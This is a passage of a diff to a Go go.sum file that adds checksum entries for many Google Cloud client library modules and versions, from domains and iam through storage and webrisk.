h1:T9Rz3GasrpYk6mEGHh4rymIhjlnIuB4ofT1wTxDeT4Y= +cloud.google.com/go/domains v0.7.0/go.mod h1:PtZeqS1xjnXuRPKE/88Iru/LdfoRyEHYA9nFQf4UKpg= +cloud.google.com/go/edgecontainer v0.1.0/go.mod h1:WgkZ9tp10bFxqO8BLPqv2LlfmQF1X8lZqwW4r1BTajk= +cloud.google.com/go/edgecontainer v0.2.0/go.mod h1:RTmLijy+lGpQ7BXuTDa4C4ssxyXT34NIuHIgKuP4s5w= +cloud.google.com/go/errorreporting v0.3.0/go.mod h1:xsP2yaAp+OAW4OIm60An2bbLpqIhKXdWR/tawvl7QzU= +cloud.google.com/go/essentialcontacts v1.3.0/go.mod h1:r+OnHa5jfj90qIfZDO/VztSFqbQan7HV75p8sA+mdGI= +cloud.google.com/go/essentialcontacts v1.4.0/go.mod h1:8tRldvHYsmnBCHdFpvU+GL75oWiBKl80BiqlFh9tp+8= +cloud.google.com/go/eventarc v1.7.0/go.mod h1:6ctpF3zTnaQCxUjHUdcfgcA1A2T309+omHZth7gDfmc= +cloud.google.com/go/eventarc v1.8.0/go.mod h1:imbzxkyAU4ubfsaKYdQg04WS1NvncblHEup4kvF+4gw= +cloud.google.com/go/filestore v1.3.0/go.mod h1:+qbvHGvXU1HaKX2nD0WEPo92TP/8AQuCVEBXNY9z0+w= +cloud.google.com/go/filestore v1.4.0/go.mod h1:PaG5oDfo9r224f8OYXURtAsY+Fbyq/bLYoINEK8XQAI= cloud.google.com/go/firestore v1.6.1/go.mod h1:asNXNOzBdyVQmEU+ggO8UPodTkEVFW5Qx+rwHnAz+EY= +cloud.google.com/go/firestore v1.9.0/go.mod h1:HMkjKHNTtRyZNiMzu7YAsLr9K3X2udY2AMwDaMEQiiE= +cloud.google.com/go/functions v1.6.0/go.mod h1:3H1UA3qiIPRWD7PeZKLvHZ9SaQhR26XIJcC0A5GbvAk= +cloud.google.com/go/functions v1.7.0/go.mod h1:+d+QBcWM+RsrgZfV9xo6KfA1GlzJfxcfZcRPEhDDfzg= +cloud.google.com/go/functions v1.8.0/go.mod h1:RTZ4/HsQjIqIYP9a9YPbU+QFoQsAlYgrwOXJWHn1POY= +cloud.google.com/go/functions v1.9.0/go.mod h1:Y+Dz8yGguzO3PpIjhLTbnqV1CWmgQ5UwtlpzoyquQ08= +cloud.google.com/go/gaming v1.5.0/go.mod h1:ol7rGcxP/qHTRQE/RO4bxkXq+Fix0j6D4LFPzYTIrDM= +cloud.google.com/go/gaming v1.6.0/go.mod h1:YMU1GEvA39Qt3zWGyAVA9bpYz/yAhTvaQ1t2sK4KPUA= +cloud.google.com/go/gaming v1.7.0/go.mod h1:LrB8U7MHdGgFG851iHAfqUdLcKBdQ55hzXy9xBJz0+w= +cloud.google.com/go/gaming v1.8.0/go.mod h1:xAqjS8b7jAVW0KFYeRUxngo9My3f33kFmua++Pi+ggM= +cloud.google.com/go/gkebackup v0.2.0/go.mod h1:XKvv/4LfG829/B8B7xRkk8zRrOEbKtEam6yNfuQNH60= +cloud.google.com/go/gkebackup v0.3.0/go.mod h1:n/E671i1aOQvUxT541aTkCwExO/bTer2HDlj4TsBRAo= +cloud.google.com/go/gkeconnect v0.5.0/go.mod h1:c5lsNAg5EwAy7fkqX/+goqFsU1Da/jQFqArp+wGNr/o= +cloud.google.com/go/gkeconnect v0.6.0/go.mod h1:Mln67KyU/sHJEBY8kFZ0xTeyPtzbq9StAVvEULYK16A= +cloud.google.com/go/gkehub v0.9.0/go.mod h1:WYHN6WG8w9bXU0hqNxt8rm5uxnk8IH+lPY9J2TV7BK0= +cloud.google.com/go/gkehub v0.10.0/go.mod h1:UIPwxI0DsrpsVoWpLB0stwKCP+WFVG9+y977wO+hBH0= +cloud.google.com/go/gkemulticloud v0.3.0/go.mod h1:7orzy7O0S+5kq95e4Hpn7RysVA7dPs8W/GgfUtsPbrA= +cloud.google.com/go/gkemulticloud v0.4.0/go.mod h1:E9gxVBnseLWCk24ch+P9+B2CoDFJZTyIgLKSalC7tuI= +cloud.google.com/go/grafeas v0.2.0/go.mod h1:KhxgtF2hb0P191HlY5besjYm6MqTSTj3LSI+M+ByZHc= +cloud.google.com/go/gsuiteaddons v1.3.0/go.mod h1:EUNK/J1lZEZO8yPtykKxLXI6JSVN2rg9bN8SXOa0bgM= +cloud.google.com/go/gsuiteaddons v1.4.0/go.mod h1:rZK5I8hht7u7HxFQcFei0+AtfS9uSushomRlg+3ua1o= +cloud.google.com/go/iam v0.1.0/go.mod h1:vcUNEa0pEm0qRVpmWepWaFMIAI8/hjB9mO8rNCJtF6c= +cloud.google.com/go/iam v0.3.0/go.mod h1:XzJPvDayI+9zsASAFO68Hk07u3z+f+JrT2xXNdp4bnY= +cloud.google.com/go/iam v0.5.0/go.mod h1:wPU9Vt0P4UmCux7mqtRu6jcpPAb74cP1fh50J3QpkUc= +cloud.google.com/go/iam v0.6.0/go.mod h1:+1AH33ueBne5MzYccyMHtEKqLE4/kJOibtffMHDMFMc= +cloud.google.com/go/iam v0.7.0/go.mod h1:H5Br8wRaDGNc8XP3keLc4unfUUZeyH3Sfl9XpQEYOeg= +cloud.google.com/go/iam v0.8.0/go.mod h1:lga0/y3iH6CX7sYqypWJ33hf7kkfXJag67naqGESjkE= +cloud.google.com/go/iam v0.11.0/go.mod h1:9PiLDanza5D+oWFZiH1uG+RnRCfEGKoyl6yo4cgWZGY= +cloud.google.com/go/iap v1.4.0/go.mod h1:RGFwRJdihTINIe4wZ2iCP0zF/qu18ZwyKxrhMhygBEc= +cloud.google.com/go/iap v1.5.0/go.mod h1:UH/CGgKd4KyohZL5Pt0jSKE4m3FR51qg6FKQ/z/Ix9A= +cloud.google.com/go/ids v1.1.0/go.mod h1:WIuwCaYVOzHIj2OhN9HAwvW+DBdmUAdcWlFxRl+KubM= +cloud.google.com/go/ids v1.2.0/go.mod h1:5WXvp4n25S0rA/mQWAg1YEEBBq6/s+7ml1RDCW1IrcY= +cloud.google.com/go/iot v1.3.0/go.mod h1:r7RGh2B61+B8oz0AGE+J72AhA0G7tdXItODWsaA2oLs= +cloud.google.com/go/iot v1.4.0/go.mod h1:dIDxPOn0UvNDUMD8Ger7FIaTuvMkj+aGk94RPP0iV+g= +cloud.google.com/go/kms v1.4.0/go.mod h1:fajBHndQ+6ubNw6Ss2sSd+SWvjL26RNo/dr7uxsnnOA= +cloud.google.com/go/kms v1.5.0/go.mod h1:QJS2YY0eJGBg3mnDfuaCyLauWwBJiHRboYxJ++1xJNg= +cloud.google.com/go/kms v1.6.0/go.mod h1:Jjy850yySiasBUDi6KFUwUv2n1+o7QZFyuUJg6OgjA0= +cloud.google.com/go/language v1.4.0/go.mod h1:F9dRpNFQmJbkaop6g0JhSBXCNlO90e1KWx5iDdxbWic= +cloud.google.com/go/language v1.6.0/go.mod h1:6dJ8t3B+lUYfStgls25GusK04NLh3eDLQnWM3mdEbhI= +cloud.google.com/go/language v1.7.0/go.mod h1:DJ6dYN/W+SQOjF8e1hLQXMF21AkH2w9wiPzPCJa2MIE= +cloud.google.com/go/language v1.8.0/go.mod h1:qYPVHf7SPoNNiCL2Dr0FfEFNil1qi3pQEyygwpgVKB8= +cloud.google.com/go/lifesciences v0.5.0/go.mod h1:3oIKy8ycWGPUyZDR/8RNnTOYevhaMLqh5vLUXs9zvT8= +cloud.google.com/go/lifesciences v0.6.0/go.mod h1:ddj6tSX/7BOnhxCSd3ZcETvtNr8NZ6t/iPhY2Tyfu08= +cloud.google.com/go/logging v1.6.1/go.mod h1:5ZO0mHHbvm8gEmeEUHrmDlTDSu5imF6MUP9OfilNXBw= +cloud.google.com/go/longrunning v0.1.1/go.mod h1:UUFxuDWkv22EuY93jjmDMFT5GPQKeFVJBIF6QlTqdsE= +cloud.google.com/go/longrunning v0.3.0/go.mod h1:qth9Y41RRSUE69rDcOn6DdK3HfQfsUI0YSmW3iIlLJc= +cloud.google.com/go/managedidentities v1.3.0/go.mod h1:UzlW3cBOiPrzucO5qWkNkh0w33KFtBJU281hacNvsdE= +cloud.google.com/go/managedidentities v1.4.0/go.mod h1:NWSBYbEMgqmbZsLIyKvxrYbtqOsxY1ZrGM+9RgDqInM= +cloud.google.com/go/maps v0.1.0/go.mod h1:BQM97WGyfw9FWEmQMpZ5T6cpovXXSd1cGmFma94eubI= +cloud.google.com/go/mediatranslation v0.5.0/go.mod h1:jGPUhGTybqsPQn91pNXw0xVHfuJ3leR1wj37oU3y1f4= +cloud.google.com/go/mediatranslation v0.6.0/go.mod h1:hHdBCTYNigsBxshbznuIMFNe5QXEowAuNmmC7h8pu5w= +cloud.google.com/go/memcache v1.4.0/go.mod h1:rTOfiGZtJX1AaFUrOgsMHX5kAzaTQ8azHiuDoTPzNsE= +cloud.google.com/go/memcache v1.5.0/go.mod h1:dk3fCK7dVo0cUU2c36jKb4VqKPS22BTkf81Xq617aWM= +cloud.google.com/go/memcache v1.6.0/go.mod h1:XS5xB0eQZdHtTuTF9Hf8eJkKtR3pVRCcvJwtm68T3rA= +cloud.google.com/go/memcache v1.7.0/go.mod h1:ywMKfjWhNtkQTxrWxCkCFkoPjLHPW6A7WOTVI8xy3LY= +cloud.google.com/go/metastore v1.5.0/go.mod h1:2ZNrDcQwghfdtCwJ33nM0+GrBGlVuh8rakL3vdPY3XY= +cloud.google.com/go/metastore v1.6.0/go.mod h1:6cyQTls8CWXzk45G55x57DVQ9gWg7RiH65+YgPsNh9s= +cloud.google.com/go/metastore v1.7.0/go.mod h1:s45D0B4IlsINu87/AsWiEVYbLaIMeUSoxlKKDqBGFS8= +cloud.google.com/go/metastore v1.8.0/go.mod h1:zHiMc4ZUpBiM7twCIFQmJ9JMEkDSyZS9U12uf7wHqSI= +cloud.google.com/go/monitoring v1.7.0/go.mod h1:HpYse6kkGo//7p6sT0wsIC6IBDET0RhIsnmlA53dvEk= +cloud.google.com/go/monitoring v1.8.0/go.mod h1:E7PtoMJ1kQXWxPjB6mv2fhC5/15jInuulFdYYtlcvT4= +cloud.google.com/go/networkconnectivity v1.4.0/go.mod h1:nOl7YL8odKyAOtzNX73/M5/mGZgqqMeryi6UPZTk/rA= +cloud.google.com/go/networkconnectivity v1.5.0/go.mod h1:3GzqJx7uhtlM3kln0+x5wyFvuVH1pIBJjhCpjzSt75o= +cloud.google.com/go/networkconnectivity v1.6.0/go.mod h1:OJOoEXW+0LAxHh89nXd64uGG+FbQoeH8DtxCHVOMlaM= +cloud.google.com/go/networkconnectivity v1.7.0/go.mod h1:RMuSbkdbPwNMQjB5HBWD5MpTBnNm39iAVpC3TmsExt8= +cloud.google.com/go/networkmanagement v1.4.0/go.mod h1:Q9mdLLRn60AsOrPc8rs8iNV6OHXaGcDdsIQe1ohekq8= +cloud.google.com/go/networkmanagement v1.5.0/go.mod h1:ZnOeZ/evzUdUsnvRt792H0uYEnHQEMaz+REhhzJRcf4= +cloud.google.com/go/networksecurity v0.5.0/go.mod h1:xS6fOCoqpVC5zx15Z/MqkfDwH4+m/61A3ODiDV1xmiQ= +cloud.google.com/go/networksecurity v0.6.0/go.mod h1:Q5fjhTr9WMI5mbpRYEbiexTzROf7ZbDzvzCrNl14nyU= +cloud.google.com/go/notebooks v1.2.0/go.mod h1:9+wtppMfVPUeJ8fIWPOq1UnATHISkGXGqTkxeieQ6UY= +cloud.google.com/go/notebooks v1.3.0/go.mod h1:bFR5lj07DtCPC7YAAJ//vHskFBxA5JzYlH68kXVdk34= +cloud.google.com/go/notebooks v1.4.0/go.mod h1:4QPMngcwmgb6uw7Po99B2xv5ufVoIQ7nOGDyL4P8AgA= +cloud.google.com/go/notebooks v1.5.0/go.mod h1:q8mwhnP9aR8Hpfnrc5iN5IBhrXUy8S2vuYs+kBJ/gu0= +cloud.google.com/go/optimization v1.1.0/go.mod h1:5po+wfvX5AQlPznyVEZjGJTMr4+CAkJf2XSTQOOl9l4= +cloud.google.com/go/optimization v1.2.0/go.mod h1:Lr7SOHdRDENsh+WXVmQhQTrzdu9ybg0NecjHidBq6xs= +cloud.google.com/go/orchestration v1.3.0/go.mod h1:Sj5tq/JpWiB//X/q3Ngwdl5K7B7Y0KZ7bfv0wL6fqVA= +cloud.google.com/go/orchestration v1.4.0/go.mod h1:6W5NLFWs2TlniBphAViZEVhrXRSMgUGDfW7vrWKvsBk= +cloud.google.com/go/orgpolicy v1.4.0/go.mod h1:xrSLIV4RePWmP9P3tBl8S93lTmlAxjm06NSm2UTmKvE= +cloud.google.com/go/orgpolicy v1.5.0/go.mod h1:hZEc5q3wzwXJaKrsx5+Ewg0u1LxJ51nNFlext7Tanwc= +cloud.google.com/go/osconfig v1.7.0/go.mod h1:oVHeCeZELfJP7XLxcBGTMBvRO+1nQ5tFG9VQTmYS2Fs= +cloud.google.com/go/osconfig v1.8.0/go.mod h1:EQqZLu5w5XA7eKizepumcvWx+m8mJUhEwiPqWiZeEdg= +cloud.google.com/go/osconfig v1.9.0/go.mod h1:Yx+IeIZJ3bdWmzbQU4fxNl8xsZ4amB+dygAwFPlvnNo= +cloud.google.com/go/osconfig v1.10.0/go.mod h1:uMhCzqC5I8zfD9zDEAfvgVhDS8oIjySWh+l4WK6GnWw= +cloud.google.com/go/oslogin v1.4.0/go.mod h1:YdgMXWRaElXz/lDk1Na6Fh5orF7gvmJ0FGLIs9LId4E= +cloud.google.com/go/oslogin v1.5.0/go.mod h1:D260Qj11W2qx/HVF29zBg+0fd6YCSjSqLUkY/qEenQU= +cloud.google.com/go/oslogin v1.6.0/go.mod h1:zOJ1O3+dTU8WPlGEkFSh7qeHPPSoxrcMbbK1Nm2iX70= +cloud.google.com/go/oslogin v1.7.0/go.mod h1:e04SN0xO1UNJ1M5GP0vzVBFicIe4O53FOfcixIqTyXo= +cloud.google.com/go/phishingprotection v0.5.0/go.mod h1:Y3HZknsK9bc9dMi+oE8Bim0lczMU6hrX0UpADuMefr0= +cloud.google.com/go/phishingprotection v0.6.0/go.mod h1:9Y3LBLgy0kDTcYET8ZH3bq/7qni15yVUoAxiFxnlSUA= +cloud.google.com/go/policytroubleshooter v1.3.0/go.mod h1:qy0+VwANja+kKrjlQuOzmlvscn4RNsAc0e15GGqfMxg= +cloud.google.com/go/policytroubleshooter v1.4.0/go.mod h1:DZT4BcRw3QoO8ota9xw/LKtPa8lKeCByYeKTIf/vxdE= +cloud.google.com/go/privatecatalog v0.5.0/go.mod h1:XgosMUvvPyxDjAVNDYxJ7wBW8//hLDDYmnsNcMGq1K0= +cloud.google.com/go/privatecatalog v0.6.0/go.mod h1:i/fbkZR0hLN29eEWiiwue8Pb+GforiEIBnV9yrRUOKI= cloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I= cloud.google.com/go/pubsub v1.1.0/go.mod h1:EwwdRX2sKPjnvnqCa270oGRyludottCI76h+R3AArQw= cloud.google.com/go/pubsub v1.2.0/go.mod h1:jhfEVHT8odbXTkndysNHCcx0awwzvfOlguIAii9o8iA= cloud.google.com/go/pubsub v1.3.1/go.mod h1:i+ucay31+CNRpDW4Lu78I4xXG+O1r/MAHgjpRVR+TSU= +cloud.google.com/go/pubsub v1.26.0/go.mod h1:QgBH3U/jdJy/ftjPhTkyXNj543Tin1pRYcdcPRnFIRI= +cloud.google.com/go/pubsub v1.27.1/go.mod h1:hQN39ymbV9geqBnfQq6Xf63yNhUAhv9CZhzp5O6qsW0= +cloud.google.com/go/pubsublite v1.5.0/go.mod h1:xapqNQ1CuLfGi23Yda/9l4bBCKz/wC3KIJ5gKcxveZg= +cloud.google.com/go/recaptchaenterprise v1.3.1/go.mod h1:OdD+q+y4XGeAlxRaMn1Y7/GveP6zmq76byL6tjPE7d4= +cloud.google.com/go/recaptchaenterprise/v2 v2.1.0/go.mod h1:w9yVqajwroDNTfGuhmOjPDN//rZGySaf6PtFVcSCa7o= +cloud.google.com/go/recaptchaenterprise/v2 v2.2.0/go.mod h1:/Zu5jisWGeERrd5HnlS3EUGb/D335f9k51B/FVil0jk= +cloud.google.com/go/recaptchaenterprise/v2 v2.3.0/go.mod h1:O9LwGCjrhGHBQET5CA7dd5NwwNQUErSgEDit1DLNTdo= +cloud.google.com/go/recaptchaenterprise/v2 v2.4.0/go.mod h1:Am3LHfOuBstrLrNCBrlI5sbwx9LBg3te2N6hGvHn2mE= +cloud.google.com/go/recaptchaenterprise/v2 v2.5.0/go.mod h1:O8LzcHXN3rz0j+LBC91jrwI3R+1ZSZEWrfL7XHgNo9U= +cloud.google.com/go/recommendationengine v0.5.0/go.mod h1:E5756pJcVFeVgaQv3WNpImkFP8a+RptV6dDLGPILjvg= +cloud.google.com/go/recommendationengine v0.6.0/go.mod h1:08mq2umu9oIqc7tDy8sx+MNJdLG0fUi3vaSVbztHgJ4= +cloud.google.com/go/recommender v1.5.0/go.mod h1:jdoeiBIVrJe9gQjwd759ecLJbxCDED4A6p+mqoqDvTg= +cloud.google.com/go/recommender v1.6.0/go.mod h1:+yETpm25mcoiECKh9DEScGzIRyDKpZ0cEhWGo+8bo+c= +cloud.google.com/go/recommender v1.7.0/go.mod h1:XLHs/W+T8olwlGOgfQenXBTbIseGclClff6lhFVe9Bs= +cloud.google.com/go/recommender v1.8.0/go.mod h1:PkjXrTT05BFKwxaUxQmtIlrtj0kph108r02ZZQ5FE70= +cloud.google.com/go/redis v1.7.0/go.mod h1:V3x5Jq1jzUcg+UNsRvdmsfuFnit1cfe3Z/PGyq/lm4Y= +cloud.google.com/go/redis v1.8.0/go.mod h1:Fm2szCDavWzBk2cDKxrkmWBqoCiL1+Ctwq7EyqBCA/A= +cloud.google.com/go/redis v1.9.0/go.mod h1:HMYQuajvb2D0LvMgZmLDZW8V5aOC/WxstZHiy4g8OiA= +cloud.google.com/go/redis v1.10.0/go.mod h1:ThJf3mMBQtW18JzGgh41/Wld6vnDDc/F/F35UolRZPM= +cloud.google.com/go/resourcemanager v1.3.0/go.mod h1:bAtrTjZQFJkiWTPDb1WBjzvc6/kifjj4QBYuKCCoqKA= +cloud.google.com/go/resourcemanager v1.4.0/go.mod h1:MwxuzkumyTX7/a3n37gmsT3py7LIXwrShilPh3P1tR0= +cloud.google.com/go/resourcesettings v1.3.0/go.mod h1:lzew8VfESA5DQ8gdlHwMrqZs1S9V87v3oCnKCWoOuQU= +cloud.google.com/go/resourcesettings v1.4.0/go.mod h1:ldiH9IJpcrlC3VSuCGvjR5of/ezRrOxFtpJoJo5SmXg= +cloud.google.com/go/retail v1.8.0/go.mod h1:QblKS8waDmNUhghY2TI9O3JLlFk8jybHeV4BF19FrE4= +cloud.google.com/go/retail v1.9.0/go.mod h1:g6jb6mKuCS1QKnH/dpu7isX253absFl6iE92nHwlBUY= +cloud.google.com/go/retail v1.10.0/go.mod h1:2gDk9HsL4HMS4oZwz6daui2/jmKvqShXKQuB2RZ+cCc= +cloud.google.com/go/retail v1.11.0/go.mod h1:MBLk1NaWPmh6iVFSz9MeKG/Psyd7TAgm6y/9L2B4x9Y= +cloud.google.com/go/run v0.2.0/go.mod h1:CNtKsTA1sDcnqqIFR3Pb5Tq0usWxJJvsWOCPldRU3Do= +cloud.google.com/go/run v0.3.0/go.mod h1:TuyY1+taHxTjrD0ZFk2iAR+xyOXEA0ztb7U3UNA0zBo= +cloud.google.com/go/scheduler v1.4.0/go.mod h1:drcJBmxF3aqZJRhmkHQ9b3uSSpQoltBPGPxGAWROx6s= +cloud.google.com/go/scheduler v1.5.0/go.mod h1:ri073ym49NW3AfT6DZi21vLZrG07GXr5p3H1KxN5QlI= +cloud.google.com/go/scheduler v1.6.0/go.mod h1:SgeKVM7MIwPn3BqtcBntpLyrIJftQISRrYB5ZtT+KOk= +cloud.google.com/go/scheduler v1.7.0/go.mod h1:jyCiBqWW956uBjjPMMuX09n3x37mtyPJegEWKxRsn44= +cloud.google.com/go/secretmanager v1.6.0/go.mod h1:awVa/OXF6IiyaU1wQ34inzQNc4ISIDIrId8qE5QGgKA= +cloud.google.com/go/secretmanager v1.8.0/go.mod h1:hnVgi/bN5MYHd3Gt0SPuTPPp5ENina1/LxM+2W9U9J4= +cloud.google.com/go/secretmanager v1.9.0/go.mod h1:b71qH2l1yHmWQHt9LC80akm86mX8AL6X1MA01dW8ht4= +cloud.google.com/go/security v1.5.0/go.mod h1:lgxGdyOKKjHL4YG3/YwIL2zLqMFCKs0UbQwgyZmfJl4= +cloud.google.com/go/security v1.7.0/go.mod h1:mZklORHl6Bg7CNnnjLH//0UlAlaXqiG7Lb9PsPXLfD0= +cloud.google.com/go/security v1.8.0/go.mod h1:hAQOwgmaHhztFhiQ41CjDODdWP0+AE1B3sX4OFlq+GU= +cloud.google.com/go/security v1.9.0/go.mod h1:6Ta1bO8LXI89nZnmnsZGp9lVoVWXqsVbIq/t9dzI+2Q= +cloud.google.com/go/security v1.10.0/go.mod h1:QtOMZByJVlibUT2h9afNDWRZ1G96gVywH8T5GUSb9IA= +cloud.google.com/go/securitycenter v1.13.0/go.mod h1:cv5qNAqjY84FCN6Y9z28WlkKXyWsgLO832YiWwkCWcU= +cloud.google.com/go/securitycenter v1.14.0/go.mod h1:gZLAhtyKv85n52XYWt6RmeBdydyxfPeTrpToDPw4Auc= +cloud.google.com/go/securitycenter v1.15.0/go.mod h1:PeKJ0t8MoFmmXLXWm41JidyzI3PJjd8sXWaVqg43WWk= +cloud.google.com/go/securitycenter v1.16.0/go.mod h1:Q9GMaLQFUD+5ZTabrbujNWLtSLZIZF7SAR0wWECrjdk= +cloud.google.com/go/servicecontrol v1.4.0/go.mod h1:o0hUSJ1TXJAmi/7fLJAedOovnujSEvjKCAFNXPQ1RaU= +cloud.google.com/go/servicecontrol v1.5.0/go.mod h1:qM0CnXHhyqKVuiZnGKrIurvVImCs8gmqWsDoqe9sU1s= +cloud.google.com/go/servicedirectory v1.4.0/go.mod h1:gH1MUaZCgtP7qQiI+F+A+OpeKF/HQWgtAddhTbhL2bs= +cloud.google.com/go/servicedirectory v1.5.0/go.mod h1:QMKFL0NUySbpZJ1UZs3oFAmdvVxhhxB6eJ/Vlp73dfg= +cloud.google.com/go/servicedirectory v1.6.0/go.mod h1:pUlbnWsLH9c13yGkxCmfumWEPjsRs1RlmJ4pqiNjVL4= +cloud.google.com/go/servicedirectory v1.7.0/go.mod h1:5p/U5oyvgYGYejufvxhgwjL8UVXjkuw7q5XcG10wx1U= +cloud.google.com/go/servicemanagement v1.4.0/go.mod h1:d8t8MDbezI7Z2R1O/wu8oTggo3BI2GKYbdG4y/SJTco= +cloud.google.com/go/servicemanagement v1.5.0/go.mod h1:XGaCRe57kfqu4+lRxaFEAuqmjzF0r+gWHjWqKqBvKFo= +cloud.google.com/go/serviceusage v1.3.0/go.mod h1:Hya1cozXM4SeSKTAgGXgj97GlqUvF5JaoXacR1JTP/E= +cloud.google.com/go/serviceusage v1.4.0/go.mod h1:SB4yxXSaYVuUBYUml6qklyONXNLt83U0Rb+CXyhjEeU= +cloud.google.com/go/shell v1.3.0/go.mod h1:VZ9HmRjZBsjLGXusm7K5Q5lzzByZmJHf1d0IWHEN5X4= +cloud.google.com/go/shell v1.4.0/go.mod h1:HDxPzZf3GkDdhExzD/gs8Grqk+dmYcEjGShZgYa9URw= +cloud.google.com/go/spanner v1.41.0/go.mod h1:MLYDBJR/dY4Wt7ZaMIQ7rXOTLjYrmxLE/5ve9vFfWos= +cloud.google.com/go/speech v1.6.0/go.mod h1:79tcr4FHCimOp56lwC01xnt/WPJZc4v3gzyT7FoBkCM= +cloud.google.com/go/speech v1.7.0/go.mod h1:KptqL+BAQIhMsj1kOP2la5DSEEerPDuOP/2mmkhHhZQ= +cloud.google.com/go/speech v1.8.0/go.mod h1:9bYIl1/tjsAnMgKGHKmBZzXKEkGgtU+MpdDPTE9f7y0= +cloud.google.com/go/speech v1.9.0/go.mod h1:xQ0jTcmnRFFM2RfX/U+rk6FQNUF6DQlydUSyoooSpco= cloud.google.com/go/storage v1.0.0/go.mod h1:IhtSnM/ZTZV8YYJWCY8RULGVqBDmpoyjwiyrjsg+URw= cloud.google.com/go/storage v1.5.0/go.mod h1:tpKbwo567HUNpVclU5sGELwQWBDZ8gh0ZeosJ0Rtdos= cloud.google.com/go/storage v1.6.0/go.mod h1:N7U0C8pVQ/+NIKOBQyamJIeKQKkZ+mxpohlUTyfDhBk= cloud.google.com/go/storage v1.8.0/go.mod h1:Wv1Oy7z6Yz3DshWRJFhqM/UCfaWIRTdp0RXyy7KQOVs= cloud.google.com/go/storage v1.10.0/go.mod h1:FLPqc6j+Ki4BU591ie1oL6qBQGu2Bl/tZ9ullr3+Kg0= +cloud.google.com/go/storage v1.22.1/go.mod h1:S8N1cAStu7BOeFfE8KAQzmyyLkK8p/vmRq6kuBTW58Y= +cloud.google.com/go/storage v1.23.0/go.mod h1:vOEEDNFnciUMhBeT6hsJIn3ieU5cFRmzeLgDvXzfIXc= +cloud.google.com/go/storage v1.27.0/go.mod h1:x9DOL8TK/ygDUMieqwfhdpQryTeEkhGKMi80i/iqR2s= +cloud.google.com/go/storagetransfer v1.5.0/go.mod h1:dxNzUopWy7RQevYFHewchb29POFv3/AaBgnhqzqiK0w= +cloud.google.com/go/storagetransfer v1.6.0/go.mod h1:y77xm4CQV/ZhFZH75PLEXY0ROiS7Gh6pSKrM8dJyg6I= +cloud.google.com/go/talent v1.1.0/go.mod h1:Vl4pt9jiHKvOgF9KoZo6Kob9oV4lwd/ZD5Cto54zDRw= +cloud.google.com/go/talent v1.2.0/go.mod h1:MoNF9bhFQbiJ6eFD3uSsg0uBALw4n4gaCaEjBw9zo8g= +cloud.google.com/go/talent v1.3.0/go.mod h1:CmcxwJ/PKfRgd1pBjQgU6W3YBwiewmUzQYH5HHmSCmM= +cloud.google.com/go/talent v1.4.0/go.mod h1:ezFtAgVuRf8jRsvyE6EwmbTK5LKciD4KVnHuDEFmOOA= +cloud.google.com/go/texttospeech v1.4.0/go.mod h1:FX8HQHA6sEpJ7rCMSfXuzBcysDAuWusNNNvN9FELDd8= +cloud.google.com/go/texttospeech v1.5.0/go.mod h1:oKPLhR4n4ZdQqWKURdwxMy0uiTS1xU161C8W57Wkea4= +cloud.google.com/go/tpu v1.3.0/go.mod h1:aJIManG0o20tfDQlRIej44FcwGGl/cD0oiRyMKG19IQ= +cloud.google.com/go/tpu v1.4.0/go.mod h1:mjZaX8p0VBgllCzF6wcU2ovUXN9TONFLd7iz227X2Xg= +cloud.google.com/go/trace v1.3.0/go.mod h1:FFUE83d9Ca57C+K8rDl/Ih8LwOzWIV1krKgxg6N0G28= +cloud.google.com/go/trace v1.4.0/go.mod h1:UG0v8UBqzusp+z63o7FK74SdFE+AXpCLdFb1rshXG+Y= +cloud.google.com/go/translate v1.3.0/go.mod h1:gzMUwRjvOqj5i69y/LYLd8RrNQk+hOmIXTi9+nb3Djs= +cloud.google.com/go/translate v1.4.0/go.mod h1:06Dn/ppvLD6WvA5Rhdp029IX2Mi3Mn7fpMRLPvXT5Wg= +cloud.google.com/go/video v1.8.0/go.mod h1:sTzKFc0bUSByE8Yoh8X0mn8bMymItVGPfTuUBUyRgxk= +cloud.google.com/go/video v1.9.0/go.mod h1:0RhNKFRF5v92f8dQt0yhaHrEuH95m068JYOvLZYnJSw= +cloud.google.com/go/videointelligence v1.6.0/go.mod h1:w0DIDlVRKtwPCn/C4iwZIJdvC69yInhW0cfi+p546uU= +cloud.google.com/go/videointelligence v1.7.0/go.mod h1:k8pI/1wAhjznARtVT9U1llUaFNPh7muw8QyOUpavru4= +cloud.google.com/go/videointelligence v1.8.0/go.mod h1:dIcCn4gVDdS7yte/w+koiXn5dWVplOZkE+xwG9FgK+M= +cloud.google.com/go/videointelligence v1.9.0/go.mod h1:29lVRMPDYHikk3v8EdPSaL8Ku+eMzDljjuvRs105XoU= +cloud.google.com/go/vision v1.2.0/go.mod h1:SmNwgObm5DpFBme2xpyOyasvBc1aPdjvMk2bBk0tKD0= +cloud.google.com/go/vision/v2 v2.2.0/go.mod h1:uCdV4PpN1S0jyCyq8sIM42v2Y6zOLkZs+4R9LrGYwFo= +cloud.google.com/go/vision/v2 v2.3.0/go.mod h1:UO61abBx9QRMFkNBbf1D8B1LXdS2cGiiCRx0vSpZoUo= +cloud.google.com/go/vision/v2 v2.4.0/go.mod h1:VtI579ll9RpVTrdKdkMzckdnwMyX2JILb+MhPqRbPsY= +cloud.google.com/go/vision/v2 v2.5.0/go.mod h1:MmaezXOOE+IWa+cS7OhRRLK2cNv1ZL98zhqFFZaaH2E= +cloud.google.com/go/vmmigration v1.2.0/go.mod h1:IRf0o7myyWFSmVR1ItrBSFLFD/rJkfDCUTO4vLlJvsE= +cloud.google.com/go/vmmigration v1.3.0/go.mod h1:oGJ6ZgGPQOFdjHuocGcLqX4lc98YQ7Ygq8YQwHh9A7g= +cloud.google.com/go/vmwareengine v0.1.0/go.mod h1:RsdNEf/8UDvKllXhMz5J40XxDrNJNN4sagiox+OI208= +cloud.google.com/go/vpcaccess v1.4.0/go.mod h1:aQHVbTWDYUR1EbTApSVvMq1EnT57ppDmQzZ3imqIk4w= +cloud.google.com/go/vpcaccess v1.5.0/go.mod h1:drmg4HLk9NkZpGfCmZ3Tz0Bwnm2+DKqViEpeEpOq0m8= +cloud.google.com/go/webrisk v1.4.0/go.mod h1:Hn8X6Zr+ziE2aNd8SliSDWpEnSS1u4R9+xXZmFiHmGE= +cloud.google.com/go/webrisk v1.5.0/go.mod h1:iPG6fr52Tv7sGk0H6qUFzmL3HHZev1htXuWDEEsqMTg= +cloud.google.com/go/webrisk v1.6.0/go.mod h1:65sW9V9rOosnc9ZY7A7jsy1zoHS5W9IAXv6dGqhMQMc= +cloud.google.com/go/webrisk v1.7.0/go.mod 